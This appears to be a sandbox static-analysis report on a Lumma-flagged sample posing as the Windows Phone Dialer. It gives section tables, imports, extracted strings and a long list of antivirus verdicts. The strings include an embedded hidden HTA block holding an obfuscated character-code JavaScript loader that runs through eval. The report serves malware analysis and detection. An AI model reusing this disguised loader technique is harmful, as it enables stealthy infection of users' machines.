Static | ZeroBOX

Name	Virtual Address	Virtual Size	Size of Raw Data	Entropy
.text	0x00001000	0x000051cc	0x00005200	6.04743957457
.data	0x00007000	0x00000f80	0x00000200	0.665962558561
.idata	0x00008000	0x00000d9e	0x00000e00	5.20498931479
.rsrc	0x00009000	0x000011a0	0x00001200	4.18421265209
.reloc	0x0000b000	0x00000794	0x00000800	6.59030870164

Name	Offset	Size	Language	Sub-language	File type
MUI	0x0000a0b8	0x000000e8	LANG_ENGLISH	SUBLANG_ENGLISH_US	data
RT_ICON	0x00009db8	0x000002e8	LANG_ENGLISH	SUBLANG_ENGLISH_US	dBase IV DBT of @.DBF, block length 512, next free block index 40, next free block 0, next used block 0
RT_ICON	0x00009db8	0x000002e8	LANG_ENGLISH	SUBLANG_ENGLISH_US	dBase IV DBT of @.DBF, block length 512, next free block index 40, next free block 0, next used block 0
RT_ICON	0x00009db8	0x000002e8	LANG_ENGLISH	SUBLANG_ENGLISH_US	dBase IV DBT of @.DBF, block length 512, next free block index 40, next free block 0, next used block 0
RT_GROUP_ICON	0x0000a0a0	0x00000014	LANG_ENGLISH	SUBLANG_ENGLISH_US	data
RT_GROUP_ICON	0x0000a0a0	0x00000014	LANG_ENGLISH	SUBLANG_ENGLISH_US	data
RT_VERSION	0x000095d0	0x000003ac	LANG_ENGLISH	SUBLANG_ENGLISH_US	data
RT_MANIFEST	0x00009210	0x000003c0	LANG_ENGLISH	SUBLANG_ENGLISH_US	XML 1.0 document, ASCII text, with CRLF line terminators

!This program cannot be run in DOS mode.

`.data

.idata

@.rsrc

@.reloc

dialer.pdb

.rdata$brc

.CRT$XCA

.CRT$XCAA

.CRT$XCZ

.CRT$XIA

.CRT$XIAA

.CRT$XIY

.CRT$XIZ

.gfids

.giats

.rdata

.rdata$sxdata

.rdata$voltmd

.rdata$zzzdbg

.text$mn

.xdata$x

.idata$5

.00cfg

.idata$2

.idata$3

.idata$4

.idata$6

.rsrc$01

.rsrc$02

j@h`|@

u!Sh(p@

D$P(p@

SVWjP3

D$lPWW

L$hf9D$hu

D$hPjQj

D$hPWj

D$lPWW

CSh 6@

t{SPPhF

~/Sh 5@

SWSSShG

PSVSSh

D$,PVW

t$(j Y

u,95ty@

G95ty@

tpWShQ

thSPhQ

L$PWPQj)

D$ ;D$H

D$(jXZf

D$ ;D$H

Xj0Yf9

jXhpa@

RegQueryValueExW

RegDeleteValueW

RegOpenKeyExW

RegSetValueExW

RegCreateKeyExW

RegCloseKey

ADVAPI32.dll

lstrlenW

CreateMutexW

LocalAlloc

FormatMessageW

GetLastError

CloseHandle

HeapSetInformation

LocalFree

GetModuleHandleW

GetTickCount

lstrcmpW

KERNEL32.dll

CreateFontIndirectW

LPtoDP

SetBkColor

GetTextExtentPoint32W

GetStockObject

SelectObject

GDI32.dll

EnableWindow

EndPaint

BeginPaint

ReleaseDC

IsIconic

SetForegroundWindow

UpdateWindow

DialogBoxParamW

GetParent

SystemParametersInfoW

EnableMenuItem

GetSysColorBrush

PostQuitMessage

CheckDlgButton

IsClipboardFormatAvailable

GetDlgItem

GetClientRect

LoadCursorW

FindWindowW

LoadIconW

GetClipboardData

TranslateMessage

TranslateAcceleratorW

SetFocus

WinHelpW

GetSysColor

SendDlgItemMessageW

GetDlgItemTextW

RegisterClassW

SetDlgItemTextW

PeekMessageW

DefDlgProcW

IsDialogMessageW

DispatchMessageW

ShowWindow

GetActiveWindow

LoadStringW

LoadAcceleratorsW

DrawIcon

GetSystemMetrics

EndDialog

SendMessageW

FillRect

MessageBoxW

SetWindowPos

DestroyWindow

GetFocus

GetWindowRect

PostMessageW

CreateDialogParamW

GetMessageW

GetWindowTextLengthW

USER32.dll

_vsnwprintf

wcsspn

wcscspn

_XcptFilter

__p__commode

_amsg_exit

__getmainargs

__set_app_type

_cexit

__p__fmode

_ismbblead

__setusermatherr

_initterm

_acmdln

msvcrt.dll

?terminate@@YAXXZ

_controlfp

_except_handler4_common

ShellAboutW

SHELL32.dll

lineGetAddressCapsW

lineNegotiateAPIVersion

lineTranslateAddressW

lineGetTranslateCapsW

lineInitializeExW

lineTranslateDialogW

lineDeallocateCall

lineConfigDialogW

lineOpenW

lineShutdown

lineDrop

lineGetAppPriorityW

lineGetDevCapsW

lineClose

lineGetRequestW

lineSetAppPriorityW

lineRegisterRequestRecipient

lineMakeCallW

TAPI32.dll

GetStartupInfoW

UnhandledExceptionFilter

SetUnhandledExceptionFilter

GetCurrentProcess

TerminateProcess

QueryPerformanceCounter

GetCurrentProcessId

GetCurrentThreadId

GetSystemTimeAsFileTime

memmove

memset

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<description>Phone Dialer</description>

</dependentAssembly>

</dependency>

<requestedExecutionLevel

level="asInvoker"

uiAccess="false"

</requestedPrivileges>

</security>

</trustInfo>

</assembly>

xxxxxp

0D0H0P0X0p0

0Q9<:U:

;8;E;W;a;q;

<)<5<F<\<b<p<y<

=3=K=V=k=

>(>9>?>E>M>h>s>

?%?+?2?9?E?N?o?

0-030=0G0T0Y0_0e0n0~0

151@1I1W1

1 2@2i2o2

363L3[3x3

4,4g4r4}4

5,5Q5g5o5u5{5

5O6U6Z6f6m6u6|6

8>8H8z8

9+9Y9q9w9|9

:7:=:D:]:c:s:~:

:-;7;>;D;K;Q;

;<%<0<6<S<Y<_<d<j<p<}<

=$=*=5=;=F=L=V=\=c=

>$>5>B>I>T>f>

??<?d?

0"0+0>0I0R0`0o0u0|0

1e1p1u1

2 2&21272A2P2V2a2g2o2

3"3=3I3

5)5a5h5w5|5

7#747@7Q7^7k7r7{7

8"8.8A8Q8W8_8t8|8

9"9/969G9M9g9m9u9|9

9e:t:z:

:Z;e;n;t;

<(<V<c<r<z<

=9=W=g=|=

>U>`>j>s>

0"0)020l0

1%1,1:1Y1j1

2*2H2j2u2

3'3C3a3m3s3

4!4,4`4l4|4

6)656;6H6Z6e6k6w6

7$7*767H7N7X7e7o7~7

8"8(8O8a8g8m8z8

9@9\9b9{9

:$:6:;:c:

;';0;A;K;Q;\;b;z;

<1<I<V<

>/>5>F>L>Z>c>j>

?+?3?[?

23292?2^2d2j2p2

2\3c3;4B4

405Z5i5

5:6B6H6d6r6

737:7I7

8#8)8A8F8L8Q8V8[8`8f8n8

9-939:9?9L9[9c9k9

:0:6:@:F:O:T:

;";?;H;S;Z;r;x;~;

<-<3<><D<P<`<i<

= =)=y=

0)020;0P0e0t0|0

0"1'1=1[1g1

<HTA:APPLICATION CAPTION = "no" WINDOWSTATE = "minimize" SHOWINTASKBAR = "no" >MZ

!This program cannot be run in DOS mode.

`.data

.idata

@.rsrc

@.reloc

dialer.pdb

.rdata$brc

.CRT$XCA

.CRT$XCAA

.CRT$XCZ

.CRT$XIA

.CRT$XIAA

.CRT$XIY

.CRT$XIZ

.gfids

.giats

.rdata

.rdata$sxdata

.rdata$voltmd

.rdata$zzzdbg

.text$mn

.xdata$x

.idata$5

.00cfg

.idata$2

.idata$3

.idata$4

.idata$6

.rsrc$01

.rsrc$02

j@h`|@

u!Sh(p@

D$P(p@

SVWjP3

D$lPWW

L$hf9D$hu

D$hPjQj

D$hPWj

D$lPWW

CSh 6@

t{SPPhF

~/Sh 5@

SWSSShG

PSVSSh

D$,PVW

t$(j Y

u,95ty@

G95ty@

tpWShQ

thSPhQ

L$PWPQj)

D$ ;D$H

D$(jXZf

D$ ;D$H

Xj0Yf9

jXhpa@

RegQueryValueExW

RegDeleteValueW

RegOpenKeyExW

RegSetValueExW

RegCreateKeyExW

RegCloseKey

ADVAPI32.dll

lstrlenW

CreateMutexW

LocalAlloc

FormatMessageW

GetLastError

CloseHandle

HeapSetInformation

LocalFree

GetModuleHandleW

GetTickCount

lstrcmpW

KERNEL32.dll

CreateFontIndirectW

LPtoDP

SetBkColor

GetTextExtentPoint32W

GetStockObject

SelectObject

GDI32.dll

EnableWindow

EndPaint

BeginPaint

ReleaseDC

IsIconic

SetForegroundWindow

UpdateWindow

DialogBoxParamW

GetParent

SystemParametersInfoW

EnableMenuItem

GetSysColorBrush

PostQuitMessage

CheckDlgButton

IsClipboardFormatAvailable

GetDlgItem

GetClientRect

LoadCursorW

FindWindowW

LoadIconW

GetClipboardData

TranslateMessage

TranslateAcceleratorW

SetFocus

WinHelpW

GetSysColor

SendDlgItemMessageW

GetDlgItemTextW

RegisterClassW

SetDlgItemTextW

PeekMessageW

DefDlgProcW

IsDialogMessageW

DispatchMessageW

ShowWindow

GetActiveWindow

LoadStringW

LoadAcceleratorsW

DrawIcon

GetSystemMetrics

EndDialog

SendMessageW

FillRect

MessageBoxW

SetWindowPos

DestroyWindow

GetFocus

GetWindowRect

PostMessageW

CreateDialogParamW

GetMessageW

GetWindowTextLengthW

USER32.dll

_vsnwprintf

wcsspn

wcscspn

_XcptFilter

__p__commode

_amsg_exit

__getmainargs

__set_app_type

_cexit

__p__fmode

_ismbblead

__setusermatherr

_initterm

_acmdln

msvcrt.dll

?terminate@@YAXXZ

_controlfp

_except_handler4_common

ShellAboutW

SHELL32.dll

lineGetAddressCapsW

lineNegotiateAPIVersion

lineTranslateAddressW

lineGetTranslateCapsW

lineInitializeExW

lineTranslateDialogW

lineDeallocateCall

lineConfigDialogW

lineOpenW

lineShutdown

lineDrop

lineGetAppPriorityW

lineGetDevCapsW

lineClose

lineGetRequestW

lineSetAppPriorityW

lineRegisterRequestRecipient

lineMakeCallW

TAPI32.dll

GetStartupInfoW

UnhandledExceptionFilter

SetUnhandledExceptionFilter

GetCurrentProcess

TerminateProcess

QueryPerformanceCounter

GetCurrentProcessId

GetCurrentThreadId

GetSystemTimeAsFileTime

memmove

memset

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<description>Phone Dialer</description>

</dependentAssembly>

</dependency>

<requestedExecutionLevel

level="asInvoker"

uiAccess="false"

</requestedPrivileges>

</security>

</trustInfo>

</assembly>

xxxxxp

0D0H0P0X0p0

0Q9<:U:

;8;E;W;a;q;

<)<5<F<\<b<p<y<

=3=K=V=k=

>(>9>?>E>M>h>s>

?%?+?2?9?E?N?o?

0-030=0G0T0Y0_0e0n0~0

151@1I1W1

1 2@2i2o2

363L3[3x3

4,4g4r4}4

5,5Q5g5o5u5{5

5O6U6Z6f6m6u6|6

8>8H8z8

9+9Y9q9w9|9

:7:=:D:]:c:s:~:

:-;7;>;D;K;Q;

;<%<0<6<S<Y<_<d<j<p<}<

=$=*=5=;=F=L=V=\=c=

>$>5>B>I>T>f>

??<?d?

0"0+0>0I0R0`0o0u0|0

1e1p1u1

2 2&21272A2P2V2a2g2o2

3"3=3I3

5)5a5h5w5|5

7#747@7Q7^7k7r7{7

8"8.8A8Q8W8_8t8|8

9"9/969G9M9g9m9u9|9

9e:t:z:

:Z;e;n;t;

<(<V<c<r<z<

=9=W=g=|=

>U>`>j>s>

0"0)020l0

1%1,1:1Y1j1

2*2H2j2u2

3'3C3a3m3s3

4!4,4`4l4|4

6)656;6H6Z6e6k6w6

7$7*767H7N7X7e7o7~7

8"8(8O8a8g8m8z8

9@9\9b9{9

:$:6:;:c:

;';0;A;K;Q;\;b;z;

<1<I<V<

>/>5>F>L>Z>c>j>

?+?3?[?

23292?2^2d2j2p2

2\3c3;4B4

405Z5i5

5:6B6H6d6r6

737:7I7

8#8)8A8F8L8Q8V8[8`8f8n8

9-939:9?9L9[9c9k9

:0:6:@:F:O:T:

;";?;H;S;Z;r;x;~;

<-<3<><D<P<`<i<

= =)=y=

0)020;0P0e0t0|0

0"1'1=1[1g1

uu=102;pa=117;QY=110;eE=99;Or=116;Yz=105;OI=111;ct=32;OT=78;fw=81;fD=90;cz=40;ry=75;Qb=67;xe=112;nW=41;wc=123;Yk=118;Mr=97;Vm=114;Xm=85;oK=80;Gg=61;RH=34;Gf=59;JQ=70;Wy=87;vr=48;Sp=60;jR=46;HD=108;Gj=101;EB=103;Cl=104;ks=43;hW=107;ys=69;Zt=83;OR=109;sK=100;hJ=91;US=93;UW=45;Ay=52;gg=53;SW=56;ID=125;fT=89;fE=55;FF=44;df=54;WO=57;yn=50;Sd=51;YB=49;cA=74;wY=119;ky=65;jo=88;Ph=79;AE=98;EE=106;ZK=82;var Xqb = String.fromCharCode(uu,pa,QY,eE,Or,Yz,OI,QY,ct,OT,fw,fD,cz,ry,Qb,xe,nW,wc,Yk,Mr,Vm,ct,Xm,oK,Xm,Gg,ct,RH,RH,Gf,uu,OI,Vm,ct,cz,Yk,Mr,Vm,ct,Qb,JQ,Wy,ct,Gg,ct,vr,Gf,ct,Qb,JQ,Wy,ct,Sp,ct,ry,Qb,xe,jR,HD,Gj,QY,EB,Or,Cl,Gf,ct,Qb,JQ,Wy,ks,ks,nW,ct,wc,Yk,Mr,Vm,ct,Mr,hW,ys,ct,Gg,ct,Zt,Or,Vm,Yz,QY,EB,jR,uu,Vm,OI,OR,Qb,Cl,Mr,Vm,Qb,OI,sK,Gj,cz,ry,Qb,xe,hJ,Qb,JQ,Wy,US,ct,UW,ct,Ay,gg,SW,nW,Gf,Xm,oK,Xm,ct,Gg,ct,Xm,oK,Xm,ct,ks,ct,Mr,hW,ys,ID,Vm,Gj,Or,pa,Vm,QY,ct,Xm,oK,Xm,ID,Gf,Yk,Mr,Vm,ct,Qb,fT,pa,ct,Gg,ct,OT,fw,fD,cz,hJ,gg,fE,vr,FF,gg,df,WO,FF,gg,fE,fE,FF,gg,gg,WO,FF,gg,fE,yn,FF,gg,fE,Sd,FF,gg,df,yn,FF,gg,gg,WO,FF,gg,df,df,FF

</script>MZ

!This program cannot be run in DOS mode.

`.data

.idata

@.rsrc

@.reloc

dialer.pdb

.rdata$brc

.CRT$XCA

.CRT$XCAA

.CRT$XCZ

.CRT$XIA

.CRT$XIAA

.CRT$XIY

.CRT$XIZ

.gfids

.giats

.rdata

.rdata$sxdata

.rdata$voltmd

.rdata$zzzdbg

.text$mn

.xdata$x

.idata$5

.00cfg

.idata$2

.idata$3

.idata$4

.idata$6

.rsrc$01

.rsrc$02

j@h`|@

u!Sh(p@

D$P(p@

SVWjP3

D$lPWW

L$hf9D$hu

D$hPjQj

D$hPWj

D$lPWW

CSh 6@

t{SPPhF

~/Sh 5@

SWSSShG

PSVSSh

D$,PVW

t$(j Y

u,95ty@

G95ty@

tpWShQ

thSPhQ

L$PWPQj)

D$ ;D$H

D$(jXZf

D$ ;D$H

Xj0Yf9

jXhpa@

RegQueryValueExW

RegDeleteValueW

RegOpenKeyExW

RegSetValueExW

RegCreateKeyExW

RegCloseKey

ADVAPI32.dll

lstrlenW

CreateMutexW

LocalAlloc

FormatMessageW

GetLastError

CloseHandle

HeapSetInformation

LocalFree

GetModuleHandleW

GetTickCount

lstrcmpW

KERNEL32.dll

CreateFontIndirectW

LPtoDP

SetBkColor

GetTextExtentPoint32W

GetStockObject

SelectObject

GDI32.dll

EnableWindow

EndPaint

BeginPaint

ReleaseDC

IsIconic

SetForegroundWindow

UpdateWindow

DialogBoxParamW

GetParent

SystemParametersInfoW

EnableMenuItem

GetSysColorBrush

PostQuitMessage

CheckDlgButton

IsClipboardFormatAvailable

GetDlgItem

GetClientRect

LoadCursorW

FindWindowW

LoadIconW

GetClipboardData

TranslateMessage

TranslateAcceleratorW

SetFocus

WinHelpW

GetSysColor

SendDlgItemMessageW

GetDlgItemTextW

RegisterClassW

SetDlgItemTextW

PeekMessageW

DefDlgProcW

IsDialogMessageW

DispatchMessageW

ShowWindow

GetActiveWindow

LoadStringW

LoadAcceleratorsW

DrawIcon

GetSystemMetrics

EndDialog

SendMessageW

FillRect

MessageBoxW

SetWindowPos

DestroyWindow

GetFocus

GetWindowRect

PostMessageW

CreateDialogParamW

GetMessageW

GetWindowTextLengthW

USER32.dll

_vsnwprintf

wcsspn

wcscspn

_XcptFilter

__p__commode

_amsg_exit

__getmainargs

__set_app_type

_cexit

__p__fmode

_ismbblead

__setusermatherr

_initterm

_acmdln

msvcrt.dll

?terminate@@YAXXZ

_controlfp

_except_handler4_common

ShellAboutW

SHELL32.dll

lineGetAddressCapsW

lineNegotiateAPIVersion

lineTranslateAddressW

lineGetTranslateCapsW

lineInitializeExW

lineTranslateDialogW

lineDeallocateCall

lineConfigDialogW

lineOpenW

lineShutdown

lineDrop

lineGetAppPriorityW

lineGetDevCapsW

lineClose

lineGetRequestW

lineSetAppPriorityW

lineRegisterRequestRecipient

lineMakeCallW

TAPI32.dll

GetStartupInfoW

UnhandledExceptionFilter

SetUnhandledExceptionFilter

GetCurrentProcess

TerminateProcess

QueryPerformanceCounter

GetCurrentProcessId

GetCurrentThreadId

GetSystemTimeAsFileTime

memmove

memset

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<description>Phone Dialer</description>

</dependentAssembly>

</dependency>

<requestedExecutionLevel

level="asInvoker"

uiAccess="false"

</requestedPrivileges>

</security>

</trustInfo>

</assembly>

xxxxxp

0D0H0P0X0p0

0Q9<:U:

;8;E;W;a;q;

<)<5<F<\<b<p<y<

=3=K=V=k=

>(>9>?>E>M>h>s>

?%?+?2?9?E?N?o?

0-030=0G0T0Y0_0e0n0~0

151@1I1W1

1 2@2i2o2

363L3[3x3

4,4g4r4}4

5,5Q5g5o5u5{5

5O6U6Z6f6m6u6|6

8>8H8z8

9+9Y9q9w9|9

:7:=:D:]:c:s:~:

:-;7;>;D;K;Q;

;<%<0<6<S<Y<_<d<j<p<}<

=$=*=5=;=F=L=V=\=c=

>$>5>B>I>T>f>

??<?d?

0"0+0>0I0R0`0o0u0|0

1e1p1u1

2 2&21272A2P2V2a2g2o2

3"3=3I3

5)5a5h5w5|5

7#747@7Q7^7k7r7{7

8"8.8A8Q8W8_8t8|8

9"9/969G9M9g9m9u9|9

9e:t:z:

:Z;e;n;t;

<(<V<c<r<z<

=9=W=g=|=

>U>`>j>s>

0"0)020l0

1%1,1:1Y1j1

2*2H2j2u2

3'3C3a3m3s3

4!4,4`4l4|4

6)656;6H6Z6e6k6w6

7$7*767H7N7X7e7o7~7

8"8(8O8a8g8m8z8

9@9\9b9{9

:$:6:;:c:

;';0;A;K;Q;\;b;z;

<1<I<V<

>/>5>F>L>Z>c>j>

?+?3?[?

23292?2^2d2j2p2

2\3c3;4B4

405Z5i5

5:6B6H6d6r6

737:7I7

8#8)8A8F8L8Q8V8[8`8f8n8

9-939:9?9L9[9c9k9

:0:6:@:F:O:T:

;";?;H;S;Z;r;x;~;

<-<3<><D<P<`<i<

= =)=y=

0)020;0P0e0t0|0

0"1'1=1[1g1

eval(Xqb)

window.close();

</script>MZ

!This program cannot be run in DOS mode.

`.data

.idata

@.rsrc

@.reloc

dialer.pdb

.rdata$brc

.CRT$XCA

.CRT$XCAA

.CRT$XCZ

.CRT$XIA

.CRT$XIAA

.CRT$XIY

.CRT$XIZ

.gfids

.giats

.rdata

.rdata$sxdata

.rdata$voltmd

.rdata$zzzdbg

.text$mn

.xdata$x

.idata$5

.00cfg

.idata$2

.idata$3

.idata$4

.idata$6

.rsrc$01

.rsrc$02

j@h`|@

u!Sh(p@

D$P(p@

SVWjP3

D$lPWW

L$hf9D$hu

D$hPjQj

D$hPWj

D$lPWW

CSh 6@

t{SPPhF

~/Sh 5@

SWSSShG

PSVSSh

D$,PVW

t$(j Y

u,95ty@

G95ty@

tpWShQ

thSPhQ

L$PWPQj)

D$ ;D$H

D$(jXZf

D$ ;D$H

Xj0Yf9

jXhpa@

RegQueryValueExW

RegDeleteValueW

RegOpenKeyExW

RegSetValueExW

RegCreateKeyExW

RegCloseKey

ADVAPI32.dll

lstrlenW

CreateMutexW

LocalAlloc

FormatMessageW

GetLastError

CloseHandle

HeapSetInformation

LocalFree

GetModuleHandleW

GetTickCount

lstrcmpW

KERNEL32.dll

CreateFontIndirectW

LPtoDP

SetBkColor

GetTextExtentPoint32W

GetStockObject

SelectObject

GDI32.dll

EnableWindow

EndPaint

BeginPaint

ReleaseDC

IsIconic

SetForegroundWindow

UpdateWindow

DialogBoxParamW

GetParent

SystemParametersInfoW

EnableMenuItem

GetSysColorBrush

PostQuitMessage

CheckDlgButton

IsClipboardFormatAvailable

GetDlgItem

GetClientRect

LoadCursorW

FindWindowW

LoadIconW

GetClipboardData

TranslateMessage

TranslateAcceleratorW

SetFocus

WinHelpW

GetSysColor

SendDlgItemMessageW

GetDlgItemTextW

RegisterClassW

SetDlgItemTextW

PeekMessageW

DefDlgProcW

IsDialogMessageW

DispatchMessageW

ShowWindow

GetActiveWindow

LoadStringW

LoadAcceleratorsW

DrawIcon

GetSystemMetrics

EndDialog

SendMessageW

FillRect

MessageBoxW

SetWindowPos

DestroyWindow

GetFocus

GetWindowRect

PostMessageW

CreateDialogParamW

GetMessageW

GetWindowTextLengthW

USER32.dll

_vsnwprintf

wcsspn

wcscspn

_XcptFilter

__p__commode

_amsg_exit

__getmainargs

__set_app_type

_cexit

__p__fmode

_ismbblead

__setusermatherr

_initterm

_acmdln

msvcrt.dll

?terminate@@YAXXZ

_controlfp

_except_handler4_common

ShellAboutW

SHELL32.dll

lineGetAddressCapsW

lineNegotiateAPIVersion

lineTranslateAddressW

lineGetTranslateCapsW

lineInitializeExW

lineTranslateDialogW

lineDeallocateCall

lineConfigDialogW

lineOpenW

lineShutdown

lineDrop

lineGetAppPriorityW

lineGetDevCapsW

lineClose

lineGetRequestW

lineSetAppPriorityW

lineRegisterRequestRecipient

lineMakeCallW

TAPI32.dll

GetStartupInfoW

UnhandledExceptionFilter

SetUnhandledExceptionFilter

GetCurrentProcess

TerminateProcess

QueryPerformanceCounter

GetCurrentProcessId

GetCurrentThreadId

GetSystemTimeAsFileTime

memmove

memset

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<description>Phone Dialer</description>

</dependentAssembly>

</dependency>

<requestedExecutionLevel

level="asInvoker"

uiAccess="false"

</requestedPrivileges>

</security>

</trustInfo>

</assembly>

xxxxxp

0D0H0P0X0p0

0Q9<:U:

;8;E;W;a;q;

<)<5<F<\<b<p<y<

=3=K=V=k=

>(>9>?>E>M>h>s>

?%?+?2?9?E?N?o?

0-030=0G0T0Y0_0e0n0~0

151@1I1W1

1 2@2i2o2

363L3[3x3

4,4g4r4}4

5,5Q5g5o5u5{5

5O6U6Z6f6m6u6|6

8>8H8z8

9+9Y9q9w9|9

:7:=:D:]:c:s:~:

:-;7;>;D;K;Q;

;<%<0<6<S<Y<_<d<j<p<}<

=$=*=5=;=F=L=V=\=c=

>$>5>B>I>T>f>

??<?d?

0"0+0>0I0R0`0o0u0|0

1e1p1u1

2 2&21272A2P2V2a2g2o2

3"3=3I3

5)5a5h5w5|5

7#747@7Q7^7k7r7{7

8"8.8A8Q8W8_8t8|8

9"9/969G9M9g9m9u9|9

9e:t:z:

:Z;e;n;t;

<(<V<c<r<z<

=9=W=g=|=

>U>`>j>s>

0"0)020l0

1%1,1:1Y1j1

2*2H2j2u2

3'3C3a3m3s3

4!4,4`4l4|4

6)656;6H6Z6e6k6w6

7$7*767H7N7X7e7o7~7

8"8(8O8a8g8m8z8

9@9\9b9{9

:$:6:;:c:

;';0;A;K;Q;\;b;z;

<1<I<V<

>/>5>F>L>Z>c>j>

?+?3?[?

23292?2^2d2j2p2

2\3c3;4B4

405Z5i5

5:6B6H6d6r6

737:7I7

8#8)8A8F8L8Q8V8[8`8f8n8

9-939:9?9L9[9c9k9

:0:6:@:F:O:T:

;";?;H;S;Z;r;x;~;

<-<3<><D<P<`<i<

= =)=y=

0)020;0P0e0t0|0

0"1'1=1[1g1

SOFTWARE\Microsoft\Windows\CurrentVersion\Dialer

Preferred Line

Preferred Address

Local\DialersIveBeenStartedMutex

Number%d

Name%d

Last dialed %d

Main Window Left/Top

Number

Line %d

Address %d

DIALER.EXE

TAPI32.DLL

0123456789()-.

1234567890*#

DIALER.HLP

DialerClass

VS_VERSION_INFO

StringFileInfo

040904B0

CompanyName

Microsoft Corporation

FileDescription

Microsoft Windows Phone Dialer

FileVersion

10.0.20348.1 (WinBuild.160101.0800)

InternalName

DIALER.EXE

LegalCopyright

OriginalFilename

DIALER.EXE

ProductName

Microsoft

Windows

Operating System

ProductVersion

10.0.20348.1

VarFileInfo

Translation

SOFTWARE\Microsoft\Windows\CurrentVersion\Dialer

Preferred Line

Preferred Address

Local\DialersIveBeenStartedMutex

Number%d

Name%d

Last dialed %d

Main Window Left/Top

Number

Line %d

Address %d

DIALER.EXE

TAPI32.DLL

0123456789()-.

1234567890*#

DIALER.HLP

DialerClass

VS_VERSION_INFO

StringFileInfo

040904B0

CompanyName

Microsoft Corporation

FileDescription

Microsoft Windows Phone Dialer

FileVersion

10.0.20348.1 (WinBuild.160101.0800)

InternalName

DIALER.EXE

LegalCopyright

OriginalFilename

DIALER.EXE

ProductName

Microsoft

Windows

Operating System

ProductVersion

10.0.20348.1

VarFileInfo

Translation

SOFTWARE\Microsoft\Windows\CurrentVersion\Dialer

Preferred Line

Preferred Address

Local\DialersIveBeenStartedMutex

Number%d

Name%d

Last dialed %d

Main Window Left/Top

Number

Line %d

Address %d

DIALER.EXE

TAPI32.DLL

0123456789()-.

1234567890*#

DIALER.HLP

DialerClass

VS_VERSION_INFO

StringFileInfo

040904B0

CompanyName

Microsoft Corporation

FileDescription

Microsoft Windows Phone Dialer

FileVersion

10.0.20348.1 (WinBuild.160101.0800)

InternalName

DIALER.EXE

LegalCopyright

OriginalFilename

DIALER.EXE

ProductName

Microsoft

Windows

Operating System

ProductVersion

10.0.20348.1

VarFileInfo

Translation

SOFTWARE\Microsoft\Windows\CurrentVersion\Dialer

Preferred Line

Preferred Address

Local\DialersIveBeenStartedMutex

Number%d

Name%d

Last dialed %d

Main Window Left/Top

Number

Line %d

Address %d

DIALER.EXE

TAPI32.DLL

0123456789()-.

1234567890*#

DIALER.HLP

DialerClass

VS_VERSION_INFO

StringFileInfo

040904B0

CompanyName

Microsoft Corporation

FileDescription

Microsoft Windows Phone Dialer

FileVersion

10.0.20348.1 (WinBuild.160101.0800)

InternalName

DIALER.EXE

LegalCopyright

OriginalFilename

DIALER.EXE

ProductName

Microsoft

Windows

Operating System

ProductVersion

10.0.20348.1

VarFileInfo

Translation

Antivirus	Signature
Bkav	W32.AIDetectMalware
Lionic	Trojan.Win32.Generic.4!c
tehtris	Clean
ClamAV	Clean
CMC	Clean
CAT-QuickHeal	Clean
Skyhigh	Clean
ALYac	Gen:Variant.Mikey.168486
Cylance	Clean
Zillya	Trojan.Agent.JS.7611
Sangfor	Trojan.Win32.Agent.Vtz5
K7AntiVirus	Clean
Alibaba	Trojan:JS/Lumma.d464de89
K7GW	Clean
Cybereason	malicious.d99edd
huorong	Clean
Baidu	Clean
VirIT	Clean
Paloalto	Clean
Symantec	ML.Attribute.HighConfidence
Elastic	Clean
ESET-NOD32	a variant of JS/Agent.RNX
APEX	Clean
Avast	Win32:Lumma-E [Drp]
Cynet	Clean
Kaspersky	Clean
BitDefender	Gen:Variant.Mikey.168486
NANO-Antivirus	Clean
ViRobot	Clean
MicroWorld-eScan	Gen:Variant.Mikey.168486
Tencent	Clean
TACHYON	Clean
Sophos	Clean
F-Secure	Clean
DrWeb	Clean
VIPRE	Gen:Variant.Mikey.168486
TrendMicro	Clean
McAfeeD	ti!5A8DDB07E6CC
Trapmine	Clean
FireEye	Gen:Variant.Mikey.168486
Emsisoft	Gen:Variant.Mikey.168486 (B)
Ikarus	Trojan.JS.Agent
GData	Gen:Variant.Mikey.168486
Jiangmin	Clean
Webroot	Clean
Varist	Clean
Avira	Clean
Antiy-AVL	Clean
Kingsoft	Clean
Gridinsoft	Clean
Xcitium	Clean
Arcabit	Trojan.Mikey.D29226
SUPERAntiSpyware	Clean
ZoneAlarm	Clean
Microsoft	Trojan:Win32/Wacatac.B!ml
Google	Detected
AhnLab-V3	Clean
Acronis	Clean
McAfee	Artemis!581BCA6D99ED
MAX	malware (ai score=87)
VBA32	Clean
Malwarebytes	Generic.Malware/Suspicious
Panda	Clean
Zoner	Clean
TrendMicro-HouseCall	Clean
Rising	Trojan.Agent/JS!8.11351 (CLOUD)
Yandex	Clean
SentinelOne	Clean
MaxSecure	Clean
Fortinet	W32/Agent.DAT!tr
BitDefenderTheta	Clean
AVG	Win32:Lumma-E [Drp]
DeepInstinct	MALICIOUS
CrowdStrike	win/malicious_confidence_60% (W)
alibabacloud	Trojan:Javascript/Mikey.Gen

Static Analysis

PE Compile Time

PDB Path

PE Imphash

Sections

Resources

Imports